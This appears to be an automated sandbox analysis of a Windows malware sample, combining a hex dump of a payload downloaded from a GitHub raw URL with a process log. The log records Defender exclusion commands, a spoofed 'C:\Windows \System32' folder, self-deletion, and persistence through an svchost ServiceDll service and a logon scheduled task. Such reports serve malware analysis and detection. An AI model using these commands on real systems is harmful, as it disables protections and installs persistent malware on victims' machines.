2024-12-20 15:21:42 UTC	104	OUT	GET /runvd01/dwl/refs/heads/main/un1/uusb.dat HTTP/1.1 Host: raw.githubusercontent.com Accept: /
2024-12-20 15:21:43 UTC	905	IN	HTTP/1.1 200 OK Connection: close Content-Length: 94192128 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "dce1db2ce302903971db053f8dd758f861a96202945985b58fb23f43edfcddee" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 17E5:140A97:F851C7:115FED7:67658B86 Accept-Ranges: bytes Date: Fri, 20 Dec 2024 15:21:43 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890090-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1734708103.893557,VS0,VE484 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: caa779bbae0cd484c72231e12566b2cf293a20fd Expires: Fri, 20 Dec 2024 15:26:43 GMT Source-Age: 0
2024-12-20 15:21:43 UTC	1378	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0b 00 f5 4f 65 67 00 00 00 00 00 00 00 00 f0 00 2e 22 0b 02 02 27 00 40 00 00 00 3e 9d 05 00 04 00 00 20 13 00 00 00 10 00 00 00 00 85 45 03 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 05 00 02 00 00 00 00 00 00 c0 9d 05 00 04 00 00 ca e4 9d 05 02 00 60 01 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEdOeg."'@> E`
2024-12-20 15:21:43 UTC	1378	IN	Data Raw: 00 00 00 eb 81 66 0f 1f 84 00 00 00 00 00 31 c0 48 87 03 eb 9c 66 0f 1f 84 00 00 00 00 00 48 8b 15 59 2b 9d 05 c7 06 01 00 00 00 48 8b 0d 3c 2b 9d 05 e8 cf 3a 00 00 e9 66 ff ff ff 66 90 48 8b 15 19 2b 9d 05 48 8b 0d 02 2b 9d 05 e8 b5 3a 00 00 c7 06 02 00 00 00 e9 51 ff ff ff 66 90 b9 1f 00 00 00 e8 e6 38 00 00 e9 35 ff ff ff 90 41 54 55 57 56 53 48 83 ec 20 4c 8b 25 9f 2a 9d 05 85 d2 48 89 ce 89 d3 41 89 14 24 4c 89 c7 75 47 8b 05 21 4e 9d 05 85 c0 74 5f e8 30 2d 00 00 49 89 f8 89 da 48 89 f1 e8 2e 29 00 00 89 c5 85 db 0f 84 b1 00 00 00 83 fb 03 0f 84 a8 00 00 00 89 e8 41 c7 04 24 ff ff ff ff 48 83 c4 20 5b 5e 5f 5d 41 5c c3 0f 1f 00 e8 f3 2c 00 00 8d 43 ff 49 89 f8 89 da 83 f8 01 48 89 f1 0f 87 a7 00 00 00 e8 ba fd ff ff 85 c0 75 06 31 ed eb c2 66 90 49 Data Ascii: f1HfHY+H<+:ffH+H+:Qf85ATUWVSH L%*HA$LuG!Nt_0-IH.)A$H [^_]A\,CIHu1fI
2024-12-20 15:21:43 UTC	1378	IN	Data Raw: 55 10 48 01 c2 44 89 c0 31 c8 88 02 80 45 ff 01 80 7d ff 0f 76 c7 90 90 48 83 c4 10 5d c3 55 48 89 e5 48 83 ec 10 89 c8 48 89 55 18 4c 89 45 20 88 45 10 c6 45 ff 00 eb 7d c6 45 fe 00 eb 6d 0f b6 45 ff 0f b6 55 fe 48 8b 4d 18 48 63 d2 48 98 48 c1 e0 02 48 01 c8 48 01 d0 44 0f b6 00 0f b6 45 10 8d 14 85 00 00 00 00 0f b6 45 ff 01 d0 8d 14 85 00 00 00 00 0f b6 45 fe 01 d0 89 c2 48 8b 45 20 48 01 d0 0f b6 10 0f b6 45 ff 0f b6 4d fe 44 31 c2 4c 8b 45 18 48 63 c9 48 98 48 c1 e0 02 4c 01 c0 48 01 c8 88 10 80 45 fe 01 80 7d fe 03 76 8d 80 45 ff 01 80 7d ff 03 0f 86 79 ff ff ff 90 90 48 83 c4 10 5d c3 55 48 89 e5 48 83 ec 10 48 89 4d 10 48 8b 45 10 0f b6 40 0d 88 45 ff 48 8b 45 10 0f b6 40 09 48 8b 55 10 88 42 0d 48 8b 45 10 0f b6 40 05 48 8b 55 10 88 42 09 48 8b Data Ascii: UHD1E}vH]UHHHULE EE}EmEUHMHcHHHHDEEEHE HEMD1LEHcHHLHE}vE}yH]UHHHMHE@EHE@HUBHE@HUBH
2024-12-20 15:21:43 UTC	1378	IN	Data Raw: 10 0f b6 40 0a 48 8b 55 10 88 42 02 48 8b 55 10 0f b6 45 ff 88 42 0a 48 8b 45 10 0f b6 40 06 88 45 ff 48 8b 45 10 0f b6 40 0e 48 8b 55 10 88 42 06 48 8b 55 10 0f b6 45 ff 88 42 0e 48 8b 45 10 0f b6 40 03 88 45 ff 48 8b 45 10 0f b6 40 0f 48 8b 55 10 88 42 03 48 8b 45 10 0f b6 40 0b 48 8b 55 10 88 42 0f 48 8b 45 10 0f b6 40 07 48 8b 55 10 88 42 0b 48 8b 55 10 0f b6 45 ff 88 42 07 90 48 83 c4 10 5d c3 55 48 89 e5 48 83 ec 30 48 89 4d 10 c6 45 fe 00 c6 45 fd 00 c6 45 fc 00 c6 45 ff 00 e9 a8 01 00 00 0f b6 45 ff 48 8b 55 10 48 98 0f b6 04 82 88 45 fc 0f b6 45 ff 48 8b 55 10 48 98 0f b6 0c 82 0f b6 45 ff 48 8b 55 10 48 98 0f b6 44 82 01 31 c1 0f b6 45 ff 48 8b 55 10 48 98 0f b6 44 82 02 31 c1 0f b6 45 ff 48 8b 55 10 48 98 0f b6 44 82 03 31 c8 88 45 fe 0f b6 45 Data Ascii: @HUBHUEBHE@EHE@HUBHUEBHE@EHE@HUBHE@HUBHE@HUBHUEBH]UHH0HMEEEEEHUHEEHUHEHUHD1EHUHD1EHUHD1EE
2024-12-20 15:21:43 UTC	1378	IN	Data Raw: 48 89 c1 e8 e0 f1 ff ff 90 48 83 c4 30 5d c3 55 48 89 e5 48 83 ec 20 48 89 4d 10 48 89 55 18 4c 89 45 20 4c 89 4d 28 4c 8b 45 28 48 8b 4d 20 48 8b 55 18 48 8b 45 10 4d 89 c1 49 89 c8 48 89 c1 e8 c2 fe ff ff 48 8b 4d 38 48 8b 55 20 48 8b 45 30 49 89 c8 48 89 c1 e8 cc 2c 00 00 48 8b 55 28 48 8b 45 20 49 89 d0 ba 00 00 00 00 48 89 c1 e8 74 f1 ff ff 90 48 83 c4 20 5d c3 55 48 89 e5 48 83 ec 30 48 89 4d 10 48 89 55 18 4c 89 45 20 44 89 c8 88 45 28 48 8b 45 20 48 83 c0 01 01 c0 66 89 45 fe 4c 8b 0d ee 3d 9d 05 80 7d 28 00 74 07 ba 08 02 00 00 eb 04 0f b7 55 fe c7 45 f8 30 00 00 00 8b 45 f8 65 48 8b 00 48 89 45 f0 48 8b 45 f0 48 8b 40 60 48 8b 40 30 49 89 d0 ba 08 00 00 00 48 89 c1 41 ff d1 48 8b 55 10 48 89 42 08 48 8b 45 10 48 8b 40 08 48 85 c0 75 07 b8 ff ff Data Ascii: HH0]UHH HMHULE LM(LE(HM HUHEMIHHM8HU HE0IH,HU(HE IHtH ]UHH0HMHULE DE(HE HfEL=}(tUE0EeHHEHEH@`H@0IHAHUHBHEH@Hu
2024-12-20 15:21:43 UTC	1378	IN	Data Raw: 39 9d 05 48 8b 85 90 00 00 00 48 89 c1 ff d2 8b 85 9c 01 00 00 e9 ab 06 00 00 4c 8b 0d 15 39 9d 05 c7 85 64 01 00 00 30 00 00 00 8b 85 64 01 00 00 65 48 8b 00 48 89 85 58 01 00 00 48 8b 85 58 01 00 00 48 8b 40 60 48 8b 40 30 41 b8 20 00 00 00 ba 08 00 00 00 48 89 c1 41 ff d1 48 89 85 88 01 00 00 48 83 bd 88 01 00 00 00 75 64 4c 8b 0d ca 38 9d 05 c7 85 54 01 00 00 30 00 00 00 8b 85 54 01 00 00 65 48 8b 00 48 89 85 48 01 00 00 48 8b 85 48 01 00 00 48 8b 40 60 48 8b 40 30 48 8b 95 90 01 00 00 49 89 d0 ba 00 00 00 00 48 89 c1 41 ff d1 48 8b 15 94 38 9d 05 48 8b 85 90 00 00 00 48 89 c1 ff d2 8b 85 9c 01 00 00 e9 f4 05 00 00 4c 8b 0d 5e 38 9d 05 c7 85 44 01 00 00 30 00 00 00 8b 85 44 01 00 00 65 48 8b 00 48 89 85 38 01 00 00 48 8b 85 38 01 00 00 48 8b 40 60 48 Data Ascii: 9HHL9d0deHHXHXH@`H@0A HAHHudL8T0TeHHHHHH@`H@0HIHAH8HHL^8D0DeHH8H8H@`H
2024-12-20 15:21:43 UTC	1378	IN	Data Raw: e8 49 89 d0 ba 00 00 00 00 48 89 c1 e8 33 0f 00 00 48 8b 45 f8 48 89 c1 e8 0f 0f 00 00 48 8b 45 f0 48 85 c0 74 0c 48 8b 45 f0 48 89 c1 e8 fa 0e 00 00 4c 8b 0d a3 33 9d 05 c7 85 d4 00 00 00 30 00 00 00 8b 85 d4 00 00 00 65 48 8b 00 48 89 85 c8 00 00 00 48 8b 85 c8 00 00 00 48 8b 40 60 48 8b 40 30 48 8b 95 78 01 00 00 49 89 d0 ba 00 00 00 00 48 89 c1 41 ff d1 4c 8b 0d 5d 33 9d 05 c7 85 c4 00 00 00 30 00 00 00 8b 85 c4 00 00 00 65 48 8b 00 48 89 85 b8 00 00 00 48 8b 85 b8 00 00 00 48 8b 40 60 48 8b 40 30 48 8b 95 90 01 00 00 49 89 d0 ba 00 00 00 00 48 89 c1 41 ff d1 4c 8b 0d 17 33 9d 05 c7 85 b4 00 00 00 30 00 00 00 8b 85 b4 00 00 00 65 48 8b 00 48 89 85 a8 00 00 00 48 8b 85 a8 00 00 00 48 8b 40 60 48 8b 40 30 48 8b 95 88 01 00 00 49 89 d0 ba 00 00 00 00 48 Data Ascii: IH3HEHHEHtHEHL30eHHHH@`H@0HxIHAL]30eHHHH@`H@0HIHAL30eHHHH@`H@0HIH
2024-12-20 15:21:43 UTC	1378	IN	Data Raw: eb 39 48 8b 85 c0 01 00 00 48 8b 50 50 48 8b 85 e0 01 00 00 48 01 c0 48 01 d0 0f b7 00 0f b7 c0 89 c1 e8 de e1 ff ff 48 8b 95 e0 01 00 00 66 89 44 55 a0 48 83 85 e0 01 00 00 01 48 8b 85 c0 01 00 00 48 8b 50 50 48 8b 85 e0 01 00 00 48 01 c0 48 01 d0 0f b7 00 66 85 c0 75 a7 48 8b 95 00 02 00 00 48 8d 45 a0 48 89 c1 e8 cc 19 00 00 85 c0 0f 94 c0 84 c0 74 1c 48 8b 85 c0 01 00 00 48 8b 50 20 48 8b 85 08 02 00 00 48 89 10 b8 00 00 00 00 eb 2a 48 8b 85 e8 01 00 00 48 8b 00 48 89 85 e8 01 00 00 48 8b 85 e8 01 00 00 48 3b 85 c8 01 00 00 0f 85 d9 fe ff ff b8 ff ff ff ff 48 81 c4 70 02 00 00 5d c3 55 48 81 ec d0 01 00 00 48 8d ac 24 80 00 00 00 c7 85 4c 01 00 00 00 00 00 00 48 c7 85 40 01 00 00 00 00 00 00 48 c7 85 38 01 00 00 00 00 00 00 48 c7 44 24 28 0b 00 00 00 Data Ascii: 9HHPPHHHHfDUHHHPPHHHfuHHEHtHHP HH*HHHHH;Hp]UHH$LH@H8HD$(
2024-12-20 15:21:43 UTC	1378	IN	Data Raw: 9d 05 48 89 c1 e8 56 dc ff ff 41 b8 10 00 00 00 ba 00 00 00 00 48 8d 05 e4 29 9d 05 48 89 c1 e8 3c dc ff ff 41 b8 0c 00 00 00 ba 00 00 00 00 48 8d 05 da 29 9d 05 48 89 c1 e8 22 dc ff ff 41 b8 1d 00 00 00 ba 00 00 00 00 48 8d 05 d0 29 9d 05 48 89 c1 e8 08 dc ff ff 41 b8 1c 00 00 00 ba 00 00 00 00 48 8d 05 d6 29 9d 05 48 89 c1 e8 ee db ff ff 41 b8 0b 00 00 00 ba 00 00 00 00 48 8d 05 dc 29 9d 05 48 89 c1 e8 d4 db ff ff 41 b8 0d 00 00 00 ba 00 00 00 00 48 8d 05 d2 29 9d 05 48 89 c1 e8 ba db ff ff 8b 85 4c 01 00 00 48 81 c4 d0 01 00 00 5d c3 55 48 89 e5 48 81 ec a0 00 00 00 c7 45 fc 00 00 00 00 e8 98 fa ff ff 89 45 fc 83 7d fc 00 0f 88 48 03 00 00 b9 20 4e 00 00 e8 5d 17 00 00 48 c7 45 e0 00 00 00 00 48 c7 45 e8 00 00 00 00 48 c7 45 d0 00 00 00 00 48 c7 45 d8 Data Ascii: HVAH)H<AH)H"AH)HAH)HAH)HAH)HLH]UHHEE}H N]HEHEHEHE
2024-12-20 15:21:43 UTC	1378	IN	Data Raw: 16 25 9d 05 01 00 00 00 e9 71 ff ff ff 90 48 83 ec 28 83 fa 03 74 17 85 d2 74 13 b8 01 00 00 00 48 83 c4 28 c3 66 0f 1f 84 00 00 00 00 00 e8 5b 07 00 00 b8 01 00 00 00 48 83 c4 28 c3 90 56 53 48 83 ec 28 48 8b 05 23 ff 9c 05 83 38 02 74 06 c7 00 02 00 00 00 83 fa 02 74 13 83 fa 01 74 4e b8 01 00 00 00 48 83 c4 28 5b 5e c3 66 90 48 8d 1d 69 53 9d 05 48 8d 35 62 53 9d 05 48 39 de 74 df 0f 1f 44 00 00 48 8b 03 48 85 c0 74 02 ff d0 48 83 c3 08 48 39 de 75 ed b8 01 00 00 00 48 83 c4 28 5b 5e c3 66 0f 1f 84 00 00 00 00 00 e8 db 06 00 00 b8 01 00 00 00 48 83 c4 28 5b 5e c3 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 31 c0 c3 90 90 90 90 90 90 90 90 90 90 90 90 90 56 53 48 83 ec 38 48 8d 44 24 58 48 89 cb b9 02 00 00 00 48 89 54 24 58 4c 89 44 24 60 4c 89 4c 24 Data Ascii: %qH(ttH(f[H(VSH(H#8tttNH([^fHiSH5bSH9tDHHtHH9uH([^fH([^ff.@1VSH8HD$XHHT$XLD$`LL$

Target ID:	0
Start time:	10:19:49
Start date:	20/12/2024
Path:	C:\Users\user\Desktop\58VSNPxrI4.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\58VSNPxrI4.exe"
Imagebase:	0x7ff783aa0000
File size:	14'664'704 bytes
MD5 hash:	228C09C31156D45DFE94195BB34D1399
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:19:50
Start date:	20/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Imagebase:	0x7ff6763a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:19:50
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:19:50
Start date:	20/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:19:54
Start date:	20/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
Imagebase:	0x7ff6763a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:19:54
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:19:55
Start date:	20/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:19:58
Start date:	20/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c mkdir "\\?\C:\Windows \System32"
Imagebase:	0x7ff6763a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:19:58
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:19:58
Start date:	20/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c start "" "C:\Windows \System32\printui.exe"
Imagebase:	0x7ff6763a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:19:58
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	10:19:58
Start date:	20/12/2024
Path:	C:\Windows \System32\printui.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows \System32\printui.exe"
Imagebase:	0x7ff616b10000
File size:	64'000 bytes
MD5 hash:	2FC3530F3E05667F8240FC77F7486E7E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	10:19:58
Start date:	20/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c timeout /t 10 /nobreak && del /q "C:\Users\user\Desktop\58VSNPxrI4.exe"
Imagebase:	0x7ff6763a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	10:19:58
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:19:58
Start date:	20/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Imagebase:	0x7ff6763a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	10:19:58
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	10:19:58
Start date:	20/12/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 10 /nobreak
Imagebase:	0x7ff63c990000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	10:19:58
Start date:	20/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	10:20:03
Start date:	20/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c sc create x939048 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x939048\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x939048.dat" /f && sc start x939048
Imagebase:	0x7ff6763a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	10:20:03
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	10:20:03
Start date:	20/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc create x939048 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto
Imagebase:	0x7ff68d2c0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	10:20:04
Start date:	20/12/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add HKLM\SYSTEM\CurrentControlSet\services\x939048\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x939048.dat" /f
Imagebase:	0x7ff74c870000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	10:20:04
Start date:	20/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc start x939048
Imagebase:	0x7ff68d2c0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	10:20:04
Start date:	20/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k DcomLaunch
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	10:20:04
Start date:	20/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
Imagebase:	0x7ff6763a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	10:20:04
Start date:	20/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c start "" "C:\Windows\System32\console_zero.exe"
Imagebase:	0x7ff6763a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	10:20:04
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	10:20:04
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	10:20:04
Start date:	20/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	10:20:04
Start date:	20/12/2024
Path:	C:\Windows\System32\console_zero.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\console_zero.exe"
Imagebase:	0x7ff70f270000
File size:	664'576 bytes
MD5 hash:	4ECCB8F5D1EDCF18A11ABED91FF85C46
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 42%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	10:20:04
Start date:	20/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Imagebase:	0x7ff6763a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	10:20:04
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
